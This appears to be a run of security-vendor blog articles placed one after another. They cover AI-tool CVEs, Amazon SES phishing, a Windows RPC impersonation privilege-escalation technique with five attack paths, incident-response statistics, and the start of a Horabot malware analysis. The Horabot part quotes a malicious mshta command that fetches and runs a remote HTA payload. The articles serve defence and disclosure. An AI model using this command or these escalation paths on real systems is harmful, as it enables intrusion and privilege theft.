Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.

TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.

CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw

The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.

The attack algorithm exploiting this vulnerability works as follows:

1. The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
2. There is no validation before use.
3. The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
4. While connected, the application sends credentials (an access token) to the specified address.

If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:

• User session compromise
• Execution of operations on the user’s behalf
• Modification of the AI agent configuration
• Unauthorized access to tools and resources connected to the agent
• Under certain OpenClaw configurations, further compromise of the host running the agent

It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.

CVE-2026-41948: a path traversal vulnerability in the Dify AI platform

The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.

Depending on the Dify configuration, the consequences can include:

• Unauthorized access to internal service interfaces
• Breach of isolation between workspaces
• Exposure of internal service information
• Conditions favorable to further attacks when combined with other vulnerabilities

The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.

CVE-2026-45386: an improper access control vulnerability in Open WebUI

In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.

The vulnerability’s mechanism works as follows:

1. The user initiates an action that changes the state of an object.
2. The application treats this action as a regular read request.
3. Only channel view permission is checked.
4. The application performs a write without verifying the required user authorization.

This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.

Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.

Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.

CVE-2026-45501: a vulnerability in Microsoft Exchange

The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.

Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.

It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.

Conclusion and advice

Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.

Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

• When TCP is used as the transport layer, the endpoint is a TCP port.
• When SMB is used, communication occurs through a named pipe.
• When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

• ncacn_ip_tcp is used for RPC over TCP.
• ncacn_np is used for RPC over named pipes.
• ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

• UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
• Endpoint: ncalrpc:[TermSrvApi].
• Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

• 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

• A pointer to the returned port handle.
• The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

• Interface UUID, endpoint, and OPNUM.
• Impersonation level and RPC status code.
• Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

• RPC bindings
• Endpoints
• Interface UUIDs
• Authentication details
• Call flow and timing
• RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

• It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
• The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

• Status code
• Client process name
• Client process ID
• Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

• Interface UUID
• OPNUM
• Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

• The DLL where the RPC interface is implemented
• The location of that DLL
• The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

1. Monitoring RPC activity during system startup
   I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
2. Triggering administrative operations
   I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
3. Disabling services intentionally
   After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

• \PIPE\W32TIME_ALT
• \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

• 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
• 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
• 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.

This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.

The scope of MDR and IR services

Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).

MDR telemetry

Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.

Incident statistics

The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.

Key trends and statistics

This section presents key findings and trends in cyberattacks in 2025:

• The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
• The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
• Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
• Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).

The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

